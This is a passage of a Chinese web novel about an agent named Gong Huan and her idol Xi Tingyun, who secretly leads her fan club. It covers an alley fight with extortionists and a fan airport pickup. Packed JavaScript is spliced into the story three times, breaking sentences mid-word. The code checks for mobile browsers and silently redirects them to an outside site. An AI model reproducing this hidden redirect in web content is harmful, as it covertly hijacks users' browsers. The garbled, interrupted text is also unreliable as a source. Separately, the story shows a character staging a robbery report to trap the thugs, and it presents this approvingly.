距离这样近的宫欢,他能触碰到的宫欢…… 到现在,奚亭云都觉得一切像是一场梦。 每个清晨睁开双眼后的第一件事,就是确认他身处梦境还是现实。 他非常普通平凡,丢在人群里一下就会被淹没掉,宫欢是怎么将他这条鱼捞出来的呢? 奚亭云打开微博,与宫欢的私信里面很长一段时间没有聊天内容了。 他每天睡醒后的第二件事持续了两年——给宫欢的微博私信发早安。 上次的新星晚宴过后,宫欢回了些情绪激动的话,之后就再也没有消息。 不过奚亭云很知足了,无论是现实的奚亭云,还是“欢欢打爆全场”这个身份,她只要接受其中一个...... 这样想着,奚亭云还是在微博私信发了几条消息:【欢欢,最近有活动安排吗?】 欢欢打爆全场:【大家都很想见你。】 欢欢打爆全场:【有很多粉丝写了信想给你,你方便收吗,应援的时候可以给你吗?】 消息一连串发过去,他收起手机,靠在车窗边假寐。 车窗的另一边。 宫欢日常刷微博热搜,男团的热度降了不少,TXT那边的热度还没结束,貌似断断续续爆出陈闪闪同时劈腿好几个人,这时候一个个的都在借机蹭热度。 她私信消息一直很多,尤其是最近将她‘邪恶经纪人’的人设加大了火力后,来骂她的人更多了。 宫欢有时候会挑些私信看看,从中汲取骂人经验。 但来私信她的网友词汇量一般,挑挑拣拣找不出一条能入眼的消息。 宫欢的拇指点开私信页面,最新发来消息的人有三四个。 其中一个ID昵称,她眼熟到不敢认。 她前段时间没空翻私信,今天刚空出点时间,就撞上那99+的私信红点。 其实狠狠心不看,不是什么难事。 但是吧,就是—— 她宫欢的粉丝是一种珍稀人类,堪比濒危物种,如果不珍惜,好好爱护,很可能就会灭绝了。 抱着这样的念头,宫欢颤颤巍巍,小心翼翼地点开了私信。 谨慎而慎重地看消息内容。 嗯,粉头表达了思念之情。 嗯,粉头说她还有很多粉丝。 嗯,粉丝写信了。 两三条消息看下来,宫欢嘴角上扬,说不出的喜滋滋。 她掩饰着表情,看了看奚亭云,又看看开车的司机,没人注意她傻乐,她才偷偷捂嘴笑了几声。 没办法,有时候她就是太招人喜欢了。 宫欢想了想,故作不在乎地回复:【信?】 【有很多吗,写了就给我吧,我会收的。】 【最近没有公开活动,可以寄给我,或者想当面给的话,我应该过两天回A市,可以来接机。】 车内,手机的特殊提示声接二连三响起,几乎是和宫欢发消息的时间一致。 宫欢发一条,响一次,发三条,响三次。 她有些懵地往奚亭云那看。 他还靠着窗口假寐,这会悠悠转醒,像是没看见宫欢似的,将手机解锁,看了看微信大群消息。 他手机放的很低,屏幕晃一眼就能看见,是微信页面。 宫欢那说不清的猜测瞬间打消。 她还是太多疑,世界上怎么可能有这么巧合的事情嘛。 车子行驶进了老城区,道路两旁的树生长得茂密,将上方的天空遮挡得只剩中间一线,阳光洒落下来时先被枝桠分割,再由树叶筛过,落在车内只剩细碎的光斑,柔和而温煦。 奚亭云用眼睛的余光看了很久。 宫欢懒散散地靠在车窗边,光线时不时从她身上略过,她大概晒得很舒服,整个人透着一种慵懒舒缓的姿态。 低调的穿着,与他第一次找到她的微博时的那张照片一样,生活中的她,真实的存在着。 每每看她,他都抑制不住心底的波动,总想触碰她,一遍遍地确认,让她一次次地肯定。 “你是要回以前的小吃街吗?”宫欢忽然问。 奚亭云一下清醒过来,他没听清她问了什么,胡乱应着:“嗯,是。” 宫欢指了指车窗外,“到了。” “......什么?” 司机将车停在路边,奚亭云只好拿起背包下了车,宫欢降下车窗叮嘱道:“我去一个剧组那边看看,晚点回来,你先自己溜达着,晚点来接你,有事随时打电话。” “好。” 交代完,宫欢挥挥手升起车窗,车又开远。 奚亭云的心沉了下去,他觉得自己实在是有些失策。他就应该承认他是跟着她来B市的,根本不是因为念旧才回来。 相处机会又没了。 他从随身携带的背包里取出口罩和鸭舌帽戴上,遮住口鼻,全副武装。 最近男团频频上热搜,营销号们持续向各大视频平台输送他们的视频,曾经的一些熟人认出了奚亭云。 他那张脸标致显眼,认出来实在太容易。 小吃街上相邻的摊主们都给他发过消息,还有一些吃过炒饭的客人们也好奇地打探他的近况。 火了之后挣多少钱? 有没有金主捧他。 甚至有些只见过一面的人问他借钱,吃过炒饭的客人让他投资项目等等,称兄道弟的朋友前所未有的多。 不过有一点奚亭云很欣慰,至少他曾经的家人没来打探他的情况,也可能......根本没人在意他。 奚亭云收敛起负面情绪,单肩挎包顺着路拐进了小吃街。 临近夜晚,街头亮起一排排小彩灯,几个新支起的摊位前排了不少人,生意看着不错,只是有几个人是经常在小吃街出没的饭托。 新摊位主打新奇搞怪,亮黄色的日式风格招牌上写着大字“榴莲臭豆腐”。 奚亭云绕开长队往里走,街头四五家都是新摊,里面才是开了好些年的老字号,卤味、烧烤、炸串、炒饭炒粉,冰淇淋、酸奶冰汤圆等等,从街头至街尾,上百家小吃摊都不止。 热腾腾的锅气与饭菜香味飘来,甜香的爆米花味在鼻端萦绕,勾人食欲。 奚亭云走到街尾,原先他常驻的摊位已然换了个新摊主,是个做烤鸭的。 他静静地站在原地看了会,又看了看旁边的几家摊子,相邻的几个摊贩老板之前照顾过他很多,因为排在街尾,走到这买吃的人不多,几家老板经常给他出主意。 他们前段时间发现奚亭云没来出摊,一个个都给他发消息,打电话问情况。 大家都知道他一个人生活,怕他出事。 奚亭云走到最近的一家卤菜摊位前,老板挺着大肚子剃了光头,笑起来满面油光:“哟,帅哥吃点啥啊。” 他笑了笑,说:“张哥,是我。” 摆摊的摊主们都是人精,一听这声还能认不出来? 老张瞪着眼,生怕被油烟糊了眼睛,又拿手擦了擦眼睛,把奚亭云上下瞧了瞧:“卧槽,真是你小子啊!你可是大红人了,我们几个刷视频老能看着你。” “你最近怎么回事啊,发达啦?” 老张撂下手里的活,绕到摊前拉着奚亭云坐在后面的塑料板凳上,又朝旁边的几个相邻摊位喊叫:“你们都别忙了,快过来,看看谁回来了!” 奚亭云好笑地拉下口罩,朝旁边回头看的摊主们招招手,他简略地挑着说:“没什么,只是被贵人看中了,有个机会可以努力,你们最近生意怎么样?” 老张拉过一张塑料凳坐下,又将奚亭云上下看了几遍:“啧啧啧,哎哟不敢认了,真是大变样啊,之前我就说你长得不赖,比电视上那些明星好看多了,终于啊,你这颗金子还是叫人挖着了哈哈哈哈。” 奚亭云失笑:“哪有你说得那么夸张,好看的明星太多了,我只是碰巧运气好,有机会而已。” “就你谦虚。” 聊了几句,其他家摊主忙完手里的事,一个个都凑了过来和奚亭云寒暄。 “小奚!哇,真帅了好多啊,果然是人靠衣装马靠鞍。” “你小子牛啊,大明星了!我跟你说我昨天都想拿你的海报立在那,肯定不少粉丝来买。” “我刚有点流量,没多少粉丝的。”奚亭云解释道。 聊了半天,摊主们也要忙,奚亭云不打算过多打扰他们,临走前他在便利店买了二三十箱饮料和酒水让人送来。没吭声,悄悄地离开了。 小吃街距离他之前租住的房子不远,奚亭云准备回去看看有没有什么可以带走的,准备简单收拾一下,将房子退掉,断掉自己的后路。 以后他只会死死跟着宫欢,绝不放手,他不会再回来了。 租的房子比较偏远,属于老城区内的老居民楼,出了小吃街还要穿过几条狭窄的深巷,这些巷子在楼与楼之间,两边有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126356|196094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时还堆了生活杂物。 没有路灯,走起来有些慢。 身后小吃街的热闹声音还没远去,前面悄无声息地冒出几道漆黑的身影。 “我以为谁呢,大明星回来了啊,这不得请我们几个吃顿好的?” “嘿嘿嘿就是,都抬头不见低头见的朋友嘛。” 奚亭云听见熟悉的刺耳声音,皱了皱眉。 前方走出三四个小痞子,裤腿有一边挽到小腿上,插着兜耸着肩颠颠地走了过来,为首的紫毛小混混嘴里叼着烟,路灯都没有的情况下一眼就认出了奚亭云。 恐怕刚才就盯上他了。 “呸,”紫毛混混吐掉嘴里的烟,朝奚亭云扬下巴,“这都欠几个月保护费没交了啊?您大忙人不会红了,当明星了就想赖账吧。” “哥,您跟他说什么啊,搜搜看就知道有没有钱了!”一个带着油腻眼镜的胖墩急不可耐地催促道。 紫毛混混啧了一声,扭头瞪他,小声骂道:“你乱叫什么!我这不是怕他带人吗,明星身边不都有保镖?” 胖墩憨憨地哼哼两声,道:“刚才看了老半天也没见出来啊,肯定就他一个。” 这几个人是小吃街附近的地痞无赖,经常看见新摊位就去闹事,给了保护费才会老实。 奚亭云刚开始的小吃摊就遭几人闹事,报警没用,周围的摊主劝过他后,才交了保护费。 他声音有些冷:“那边的摊位换了一家,我已经不摆摊了,凭什么还要交保护费。” 胖墩来了架势:“就凭我们想要!” 紫毛混混戳了戳他腹部,胖墩吃痛,嗷了一声,紫毛解释道:“你走的时候是月中,上半月的保护费一直拖欠没给,现在利息涨了,要交五倍的钱!赶紧的,把钱拿出来,看在曾经都是熟人的份儿上,我们就不为难你了。” 奚亭云扯了扯嘴角,鼻腔里溢出声冷笑,他将背包背好,挺直了腰背看向四个混混,这几人里面没一个有他高。 “我不会给。” “呀——”紫毛混混夸张地叫了声,他指着奚亭云,眼神发狠,“那你就别怪我们了!给我上去揍他!” 几人一哄而上,个个手持棍棒,大叫着增强气势冲向奚亭云。 奚亭云也做出防备姿势,神情凝重地注视着冲来的几人。 叮铃咣当—— 奚亭云被几人压在地上动弹不得,两手被人死死压在背后,口罩帽子都遭人扯掉扔到了一边,头发散乱,衣服沾满了泥土。 “我以为是个能打的呢,”紫毛混混翻着奚亭云的背包,不屑地嘲讽,“看着挺能装,结果就是个花架子。” 胖墩抬起穿着肥宽拖鞋的大脚,用力狠踩了踩奚亭云的头,猖狂地叫嚣:“装,能装!让你装!还不是得,交钱!” 奚亭云白净的脸被泥土染脏,他眼神狠厉,挣扎几下却被踹得更狠,压抑着呼吸抬头:“你们......” 该死! 他真该学点格斗术,才不至于被几个混混给压制住。 紫毛将背包里的东西一一丢出来,嫌弃不已:“这都什么,荧光棒?小举牌?看着一个大男人还玩这些东西,恶不恶心啊你!” 翻到“欢欢打爆全场”的电子牌时,紫毛随手扔到墙边,啪得一下,电子牌被摔出了电池,小小的电子零件在地上滑出一段距离。 “老大,你找到钱了没啊。”胖墩迫不及待地凑过去,一脚踩住了电子牌,瞬间将那小小的牌子踩裂了。 奚亭云眼神微凝,盯着那被踩碎的电子举牌。 欢欢两个字碎开了。 压着他的两个混混有些松懈,奚亭云用力挣扎,翻身,抬腿踹中一人下巴,将人踹得后仰摔倒,另一个混混反应过来,连忙摁住他的腿。 奚亭云趁机反手抓住混混衣领,抬拳重重砸脸,一下一下用足了力气,第三下直接将人打晕了过去。 噗通—— 奚亭云将人丢回地上,他拖着身体起身,刚才腿被人打了一棍,有些瘸拐。 “老大!他他他——”胖墩这才回过神来,震惊地指着奚亭云,“他又打过来了!” 紫毛正数着钱,头也不回地说:“那就再打他一顿,一个废物有什么好怕的。” 有了老大的话,胖墩只好拿着棍棒又冲过来,奚亭云灵活地弯腰躲了过去,他捡起掉落地上的木棍,反手重重打在胖墩身上! “嗷嗷——好痛!!”胖墩浑身一激灵,跳了半天脚,咬着牙想回头反击。 奚亭云有了思路后,便和刚才不同,他快准狠地对着腿和手臂猛打几下,闷棍打在肉上极痛。 胖墩不如他灵活,被打得嗷嗷叫,棍子也脱了手。 奚亭云趁机照着他头部猛击一下,嘭!胖墩挨了一记大的,头晕眼花地转悠了两圈,嘴里嘟囔着——“老大……我头好晕!” 噗通,倒地不起。 “十七、十八、十九......” 紫毛混混还在数钱,身后,奚亭云的身影笼罩过来,沉重的呼吸声与血腥味飘来,紫毛屏住呼吸,一点点地转过头。 奚亭云正冷冷地看着他,眼底的寒意渗人,仿佛在看死物。 棍棒持续不断地击打在紫毛身上,胖墩身上。 奚亭云从来不会打架这一行为,他从小吃百家饭长大,大家都喜欢懂事听话乖巧的孩子,他也一直遵循这样的原则存活着。 这样懂事,有底线原则地活着,才会有人看他一眼。 今晚,他像是被释放出了心底潜藏蛰伏的恐怖巨兽,发泄般地将心底的戾气全部使出,地上的几人都见了血,他的手被震得发麻,眼前一片模糊。 直到脱了力,他才瘫在墙角大口呼吸。 顾不上思考,他满脑子都是自己打人了,惹事了,他会坐牢吗…… 他颤抖着手,摸索出手机打电话。 嘟嘟嘟...... “喂?” “欢欢,我好害怕,你来找我好不好。” 66. 都是好人(宫x奚) 接到电话,宫欢当即推了饭局,以最快的速度赶到了地方。 漆黑幽深的小巷子,地面凹凸不平,即使隔着一层鞋底,碎石也硌脚,沉闷的空气中夹杂着一些令人反胃的血腥味。 几个混混叠倒在一起,宫欢眯着眼在几个人里面认真辨认了会,看看哪个是奚亭云。 她倒不怕这种场面,只是有些小心翼翼。 好像都没有。 她又往巷子里走了两步,才看清坐在墙边的人。 是昏过去了? 宫欢慢慢靠近,蹲下身,手抬起他的脸,想叫几声,看看人会不会醒。 垂落在身侧的手慢慢有了动静,奚亭云揽住她的身体,环抱着,额头轻轻靠在她肩膀上,情绪低落地叫她:“......欢欢。” “啊,我在呢,”宫欢身体有些僵硬,安抚似的拍拍他的头,“别怕别怕啊,只是几个小混混,还好你没事,不然我真得把他们一个个都剥了皮!” “不要。”他忽然有些委屈,收紧了怀抱。 “啊?不要什么。”宫欢没懂。 奚亭云微微侧头,将脸朝着她颈窝处靠近,嗅了嗅她的气味,他低声说:“不要理他们,他们不配。” 不配得到她的一点眼神,不配让她看见。 宫欢无比心疼她的草根艺人,回来看看以前的朋友居然还被堵路要钱,简直就是可怜又凄惨,这些人真不是人! 她顺着奚亭云的话,什么都依着他:“对对,他们不配,我们不搭理他们,你身上伤着没,脸伤了吗,伤口深不深啊?” 奚亭云埋在她肩窝里,声音闷闷地:“我没事,只是小伤。” “不行,万一有内伤怎么办,我们去医院看看。”宫欢想起身,却发现奚亭云还得寸进尺地抱着她。 她想了想,忍了忍,还是按耐住了想把人拎起来的冲动。 宫欢尽量放柔语气:“先去医院好吗?你这样我会很担心。” 奚亭云很吃这套,他动了动,慢慢将头移开,眼睛一眨不眨地看着宫欢,手也没有要松的打算。 宫欢:“......松开。” 奚亭云默默收回手。 折腾一番将人送到医院,做过检查后确认没大伤,宫欢掰着奚亭云那张脸上下左右看了一圈,生怕留下一点伤疤。 奚亭云身上只是一些皮外伤,消过毒做了简单的伤口处理,两人出了医院,上了车。 司机师傅问:“去哪儿?” 宫欢看了看奚亭云,“先送他回酒店。” 车又开了起来。 昏暗的后排座位,两人距离有些远,奚亭云悄悄往她那边看了几眼,又很快的收回视线。 安静的车内空间,宫欢忽然跟他算账:“你这是第几次受伤了?” 奚亭云听不出她的语气,有些踟蹰地说:“第三次。” 记得还挺清楚。 “你要庆幸这次没伤到脸,”车窗外的路灯短暂地掠过她的脸,看不出情绪,“如果脸上有了伤口,你做好告别这个圈子的准备了吗?” 她没有直接说解约,没有生气而又关心地凶他,这样平淡冷静的态度,仿佛一下将他推远,远到最初的样子。 奚亭云心口一下沉入冰冷的水中,心脏的每次抽动都将水向身体内部输送。刚才有些旖旎的暧昧瞬间散成一颗颗让人清醒的水珠。 “对不起。”他道歉。 “不要跟我说这句话,”宫欢说,“看好你自己,万一这次是圈里人盯上你,要毁掉你的脸,你现在早就进整容修复科了。” 奚亭云的声音轻到像是快要碎掉:“我下次会注意的。” 宫欢的视线始终放在窗外,不分给他一点眼神。 她怕看一眼,就说不出一个字,这人又会对着她卖可怜。 总要教育一下他,动不动就伤筋动骨的算怎么回事。 司机师傅沉默寡言,到了酒店门口停下车。 “去休息吧。”宫欢说,“房间订好了,去前台那拿房卡。” 奚亭云听出她言下之意,手搭在车门扶手旁边:“你不休息吗,现在已经很晚了。” “少管,睡你觉去。” 宫欢毫不留情地催人走了,转头就和司机说:“去一下附近最近的银行。” 在银行取了钱,宫欢又让司机带她回那条小巷。 车只能停在巷口,宫欢下车回到刚才的地点。 那几个小混混还堆在一起,这会有几人慢慢醒过来。 胖墩和另外一个混混先醒来,紫毛混混被打得最狠,胖墩拉着人狠狠晃动:“老大,老大你快醒醒啊!!我们,我们被人干掉了!” 紫毛整张脸血次呼啦,眼睛被血糊住,全身剧痛无比,醒来时看不清人,眼前的胖墩都在重影。 “......那个人呢!?” “他,他打了我们,不知道去哪儿了,”胖墩将紫毛扶起来,“前面还老老实实的,后来不知道咋回事,他突然就疯了一样打我们!” “操,真是走背运,”紫毛摸索着,扶着胖墩站起来,眼前忽然又出现一道人影,他吓得激灵一下,“这,这这谁啊!?” 几人回头看了一眼,都愣住了。 一个女人往他们这走来,盯着几人挨个看了一眼,然后皱着眉,不耐烦地问:“你们这在收保护费是吧?” 紫毛抬手擦了擦脸上的血,看了看这人,脑子转不过来弯。 胖墩也看了看紫毛,凑到他耳边出主意:“老大,她,她是不是街上新来的摊主,听说了我们的威名,主动来找我们交保护费啊?” 紫毛混混听着就觉得准没错,他挺直了背,看上去滑稽可笑:“对,在收,你哪家的,交了钱我们就不闹事了。” “行,承认就好。” 只见宫欢从随身携带的包里掏出三沓红艳艳的钱,朝人一沓一沓地砸过去,有一沓钱捆绑松散,砸中小混混时,瞬间散了一地。 鲜艳的红钞票满地飘散。 小混混们哪见过这架势,个个都被惊得合不拢嘴,着急忙活地在地上捡钱。 “老大,好,好多钱!这家是个富婆!!” “我们收一年也收不了这么多啊!” 几人捡钱捡得不亦乐乎。 宫欢镇定自若地掏出手机,拨通电话,转过身往回走,边走边说:“喂,我要报警,有人抢劫,对,有证据,地址在——” - 隔天。 奚亭云一大早就被宫欢带着来到警局。 他有点懵,不明白发生了什么,但一到地方,就看见那四个小混混被关在拘留所里。 小混混看见奚亭云和宫欢走在一起时,眼睛瞪得极大,指着两人气急败坏道:“你们,你们是一伙的!!” 宫欢朝他们伸出手摆了摆手指,歪着头露出个小小的得意笑容。 警官询问宫欢:“你丢失了多少钱。” “哎呀,这我也记不清了,”宫欢故作思考地说,“当时他们把钱抢走的时候撒了一地——但是,我昨天在银行取了四万,那个有流水记录的。” 警官记下过程:“这几个人经常在小吃街闹事收取保护费,我们关过几次,这次事态严重,我们会严厉惩罚,你们看是否要起诉。” 宫欢惆怅地看向奚亭云,像是有些害怕地攥着他的手臂,抽了两下鼻子,又看向警官诚恳地说:“我们也不想闹大,就私了吧,给点医药费,还给我那被抢的四万块钱就好了。他们年纪也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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车窗降落,凉风灌入车内,一片凉爽。 “欢欢,”奚亭云斟酌着字句,“你昨天,是自己去找他们的吗?” 宫欢托着下巴看窗外,不在意道:“还有司机师傅啊。” 奚亭云默了默,纠结又担忧,还是说了:“下次,不要去那么危险的地方了,好吗?” “我不是说你不厉害,只是,担心——” “我格斗、泰拳、武术都有接触过,”宫欢打断他,“他们几个未必打得过我。” 奚亭云的话卡在喉咙里,他应了声,低下头去。 是啊,欢欢一直都争取做到最好,她这样的性格,肯定是学过保护自己的方式。 他的担忧完全是多余的。 原来,他关注她的这两年里,对她的了解还是那么少。 奚亭云还以为他了解宫欢足够多,比任何人都多,但他突然发现,那只是宫欢愿意放出来的,愿意被他人发现的一部分。 他忽然沉默,惹得宫欢不太适应,转头来看他。 “我会去学习。”他停顿片刻,才抬头。 “什么?” “格斗,跆拳道,泰拳等等等等,”奚亭云说,“我都会去学。” 所有不会的,他都一件件去学。 “没关系,”宫欢笑了笑,神色柔软下来,“可能,你以前没有机会去学,所以碰上昨天那种情况,才会让自己受伤,后面你想学什么尽管提,我一向喜欢好学的艺人,只要你有心,我会好好培养你。” “为什么......” “因为要靠你赚钱啊。” 67. 接机(宫x奚) 因为奚亭云的事,宫欢推了两个应酬,解决完他的问题后,她准备继续去忙。 而奚亭云在B市的怀旧之旅也差不多结束了。 他买好了回程机票,临走前仔细问了宫欢的行程:“还要待两天吗,那就是明天结束,晚上回A市吗?” 两人正在吃酒店午饭,宫欢叉了个水晶虾饺塞进嘴里,腮帮子鼓起一边,她咀嚼着说:“差不多是,晚上有个局,明天要去一个导演那边看看有没有好本子。” 奚亭云不太想走,但他在B市确实没别的事了,宫欢也想让他尽快回去排练新舞。 “好,”奚亭云说,“那你一个人在这边注意安全。” 宫欢不以为然:“你以为我是你,我鬼着呢。” 奚亭云抿唇笑了笑,不多言语。 - 在飞机降落A市那刻起,奚亭云便马不停蹄地忙碌起来。 他回了宫欢的私信:【好的!!!】 【我们非常想当面给你/爱心】 【可以去接机真是太好了!我马上告诉其他粉丝,大家肯定都高兴死了。】 【欢欢最好了/害羞】 他一直不敢回消息,怕被宫欢看出来。 昨天在车上时,手机消息的提示声一下接一下的响起那刻,奚亭云几近心脏骤停,天知道他有多紧张,费劲所有力气才克制住颤抖的手,没被宫欢看出异样。 他完全不敢想象,如果那时候她发现了会怎么样。 她那么骄傲的一个人,被他这么欺骗,一定会很生气。 断绝往来,解约,不想再看见他。 每一个可能性都让奚亭云无法承受,他只是靠近了一点点,就会被推得更远。 还好,他假装看微信消息,才险之又险般地躲了过去。 他又在想,回复微博评论的IP归属地会不会暴露自己。 回头还要找找有没有更改IP归属地的办法,要万无一失。 他现在还没有到可以暴露的程度,这些蛛丝马迹只会像是引线,一旦点燃就彻底爆炸。 现在爆炸的后果,他承受不起。 奚亭云需要时间,循序渐进是他能想出来的,最稳妥的办法。 机场内不断重复播报着航班情况,是非常标准的女士播音腔,奚亭云穿过来来往往的赶路行人,走到机场外。 回复完宫欢的消息,第二件事就是点开后援会粉丝群。 粉丝们多数在边做数据,边插科打诨。 欢欢打爆全场:【跟大家说个好消息。】 欢欢打爆全场:【欢欢最近有行程,这两天会从其他地方飞回A市,她说可以来接机,有信的当面给她就好。】 欢欢打爆全场:【暂时只知道是后天下午,具体时间还未定。】 奚亭云发完消息后,粉丝群里顿时炸开了锅。 【啊啊啊啊阿有生之年终于可以接欢欢回家了!!】 【啊啊啊真的假的!!老大你没骗我们吧!!】 【老大怎么拿到欢欢行程的!是不是认识内部人员,得到透露的消息啊】 【天亮了啊啊啊,终于能见欢妹了。】 【开始背词儿,到时候抓住机会把所有话都流利地一下说出来!告诉欢欢她是最棒的!我们是战斗力最强的!!】 【呜呜呜呜哭死,我不在A市啊!】 粉丝群里欢天喜地的刷屏,奚亭云也不免跟着勾起唇角,眼神温柔。 欢欢打爆全场:【能来的人报个数,我做个名单,人尽量不要太多,也不要太少。】 于是回A市的这段时间,奚亭云排新舞的同时,还要抽空统计人员名单,要求礼物不可太过贵重,不能送食物饮料等等。 白天他按照作息表训练排舞,空隙时间做微博的各项数据,晚上,他开始写信。 他在之前的书店买了十几种信纸、信封和笔,挑选颜色,图案。 写的时候来来回回地,反复地修改用词,称呼,每段的句式是否有不对的地方。 好像他写的不止是一封简单的信,而是此生最珍重的文字。 时间过得很快,到了接机这天,奚亭云从一睁眼开始就在微博刷私信。 吃饭看消息,洗澡看消息,换衣服看消息,换好一整套黑色衣服,鸭舌帽和口罩,又戴上了个不易辨认的银色美瞳。 他对着房间内的全身镜照了好几次,频频测试嗓音条件——是否太过低沉,或是太高亢,找准嗓音位置需要点时间,切换声音是非常重要的事情。 他对着镜子说了几句话,确认不会暴露。 准备就绪,奚亭云趁着别墅人最少的时间偷偷出了门,搭车前往机场。 他看了眼微博私信,又看了看时间,9:30。 有点晚了。 赶到机场,接着就是等待。 粉丝群里多数人在问: 【欢欢大概几点到啊?】 【老大说是下午,我们12点去吧。】 欢欢打爆全场:【不急,欢欢还没说时间,应该就是还没确定,确定了会告诉我们。】 奚亭云等待着,目光在进出的人群里徘徊。 大概到了下午一两点的时候,宫欢发了消息:【我晚上八点的飞机到A市,别来太早。】 奚亭云秒回:【好的!!我们到时候见!】 宫欢:【到时候见/笑】 她回的消息里很少带表情包,就连熟悉的微信,微信群里都少见她发表情包之类的图片,基本都是文字,简略而干脆。 毕竟她很忙,要处理的工作很多。 但她给他发消息的时候,带了一个小小的笑脸表情。 奚亭云不自觉就为这种‘特殊’自行代入了幻想色彩。 在粉丝里面,他是不是特殊的那一个。 转发过宫欢的落地时间后,他继续着漫长的等待。 时间一分一秒的过去,一些粉丝们提前到了机场,有的带着小举牌,三三两两地进了机场。 有些粉丝是来接其他明星的,十几个人簇拥着全副武装的明星,不停地尖叫,咔嚓咔嚓地拍照,熙熙攘攘地离开大厅。 奚亭云始终坐在一边,显出几分落寞。 粉丝群里有人发消息: 【我到啦,你们在哪儿啊?】 【老大到了吗?在哪儿集合啊??】 【组织在哪里!!】 奚亭云起身,在大厅有些显眼的地方站着,他低头回复消息:【我在大厅,你们往我这靠近。】 我跟你们拼了:【诶诶,我发现一个有点像爱豆的人/照片.jpg。】 这张照片里的人穿着一身黑,身高在一众人群里突出许多,带着黑色口罩,下颌线分明,脖颈的皮肤白皙,拿着手机的手指修长,小小的手机仿佛玩具般被握在他手心里。 榴莲西瓜不分家:【有点像诶,是不是TXT男团的?】 骂死那群xx:【不像吧,TXT没这么高,我见过——看什么帅哥啊,你们到哪儿了,我找不到!!!】 欢欢打爆全场:【......这是我。】 我跟你们拼了:【????啊??】 榴莲西瓜不分家:【啊啊啊啊???】 骂死那群xx:【卧槽,老大你男的?】 【卧槽+1】 【卧槽+2】 欢欢打爆全场:【嗯。】 粉丝群里一时无人回复消息。 机场里,四五个女孩慢慢往奚亭云那边靠近,她们确认过眼神,都是宫欢的粉。 只有宫欢的粉丝才这么谨慎,像接头似的,怕被其他家粉丝打。 几人靠近后,看了看奚亭云,又看看其他人,都有些微妙的尴尬。 奚亭云倒没想那么多,他卸下背包,拉开拉链,拿出应援物一一分给几人,嘱咐道: “她八点落地,你们记得把信拿好,到时候方便递给她,还有要说什么话就一连串说出来,我怕她走太快听不完你们讲话。” “哦哦,谢谢老大!”一个女孩接过应援物,也拿出自己做的礼物分给几人,“那个,我带了小礼物给大家,咱们都是同患难的战友,一人一个哈。” “哇,你们也太贴心了。” “谢谢!谢谢!!” 互换礼物之后,气氛没那么尴尬了,大概是奚亭云太过自然,让其他人挑不出毛病。 才至傍晚,离八点还有两个多小时,几人闲聊起来。 一个穿着小裙子的女孩好奇地看奚亭云:“要是没见到,我真的不信你是男的,太牛了,您那做数据,公关,控评手段一流啊,我之前在别家的时候,只有公关团队才能做到这种程度。” 奚亭云全身上下捂得很严实,光从外表来看,很难辨认长相。 他谦虚地笑了声:“还好,会了就不难。” “老大老大,你追欢欢多久了啊?感觉我算是比较早的那一批了,最近欢欢比较火,吸引来好多新粉。” 追这个字,让奚亭云恍惚了一瞬,他顿了片刻:“有两年了。” “两年?”一个女孩听几人聊天,也过来凑热闹,“那岂不是欢欢入圈的时候就在追啦?” “欢欢两年前在璀璨娱乐待过一段时间,后来才开的工作室,这个节点是她成为最伟大经纪人的转折点!” 女孩们叽叽喳喳地聊着,奚亭云大多时候只是在听,偶尔有人问他细节问题时,才搭话回两声。 整个人低调内敛,话也不多,安安静静地坐在一边等时间。 原本几人对男粉还有点排斥,但看他确实可靠才放下心来——毕竟一个粉头如果引导不好,很容易让大部队跑歪的。 19:30之后,奚亭云就显得有些坐立难安,好像每一分钟都极为难熬。 其他几个女孩倒是相反的,刚来的时候叽叽喳喳,这会儿有点社交疲惫,坐在一块有些安静的玩手机。 有个女孩悄悄戳戳旁边的人,小声嘀咕:“诶,你看老大,感觉是真爱粉。” 被戳到的女孩不服气:“我也真爱啊,我追了两年多呢,没比他爱的少啊!” “可你打哈欠了。” “你试试熬夜做数据打不打哈欠!!” 20:00. 飞机降落在A市,舱门开启,乘务员提醒旅客携带随身物品。 宫欢这一觉睡得腰痛,她提起包下了飞机,沿着VIP通道往外走,她穿着长袖连帽衫配黑色微喇裤,戴了一顶棒球帽,长发拉直过一些,贴在肩膀两侧,没有别的配饰。 通道前方有零零散散的接机的路人,宫欢慢慢往外晃,她做了心理准备,准备好面对粉丝接机这一情况。 说起来,她经常在粉丝接机的这种场面里,扮演那个负责拦人的角色,突如其来地将主角换成自己,别扭又奇怪。 如果不是大粉说她们写了信想给她,宫欢是不会让她们来见她的。 她的形 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126358|196094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 象基本都是虚构出来的,这些粉丝可能喜欢她的强势,嚣张,甚至是‘为非作歹’的一面,有些人只是把自己幻想出来的东西加在宫欢身上。 她深谙粉丝经济,粉丝心理,熟悉且会操控导向。 所以,如果她们来见她了,宫欢并不会去演出她们想看的那一面,她不屑于去演出那个人设,也不期望有多少人会喜欢她。 能脱粉转粉是最好的,她只是个经纪人,有自己的事业发展,不会如她们所想的洗白,吸粉等等。 宫欢不想让她们的期待落空,所以最好从一开始就断绝念想。 